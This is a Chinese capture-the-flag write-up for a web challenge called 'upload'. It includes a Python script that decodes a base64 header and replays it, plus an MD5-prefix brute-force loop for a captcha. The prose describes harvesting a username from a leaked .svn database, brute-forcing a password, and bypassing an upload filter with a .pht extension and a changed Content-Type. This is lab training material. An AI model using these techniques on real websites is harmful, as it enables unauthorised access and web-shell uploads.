2020-08-17

ctf题 第一届“百度杯”信息安全攻防总决赛 upload

知识点:

  1. 注意参数的内容 注意题目中的flag
  2. python的base64编码和requests函数库 注意requests.session()
  3. python的md5
  4. svn文件泄露
  5. 文件上传的后缀名

打开题目显示的内容为
2020-08-17
查看源代码
2020-08-17
要求我们传入一个参数ichunqiu 期初我一直认为是将 Hi后面的那一段话给传入进去试了半天不行随后利用brup抓包发现flag
flag: ZmxhZ19pc19oZXJlOiBOamd6T1RVMQ==
flag为base64编码 后面为base64的双重编码 结合题目提示的fast应该要用脚本
import requests
import base64
url=“http://2147c5b81e23445c96297fa9a2f8feb95d908965eed54a93.changame.ichunqiu.com/”
s = requests.session()
re = s.post(url)
a=re.headers[‘flag’]
b=base64.b64decode(a)
f=str(b).split(’:’)
c=base64.b64decode(f[1])
data={‘ichunqiu’:c}
r = s.post(url,data=data)
print(r.text)

这里要用 requests.session,不然还是显示不够快,传递好flag
它会给你一个路径
Path:3712901a08bb58557943ca31f3487b7d
进入路径
2020-08-17
需要知道用户名 密码 验证码
用户名可以通过snv文件泄露发现
进入.svn/wc.db获取信息
密码需要baopo
验证码需要md5
import hashlib

for i in range(10000000000):
hash = hashlib.md5(str(i).encode()).hexdigest()[:6]
if hash ==‘8caa9c’:
print(i)
break

获取登录后等到一个路径可以进行文件上传
抓包
修改content-type将后缀名改为pht即可获得flag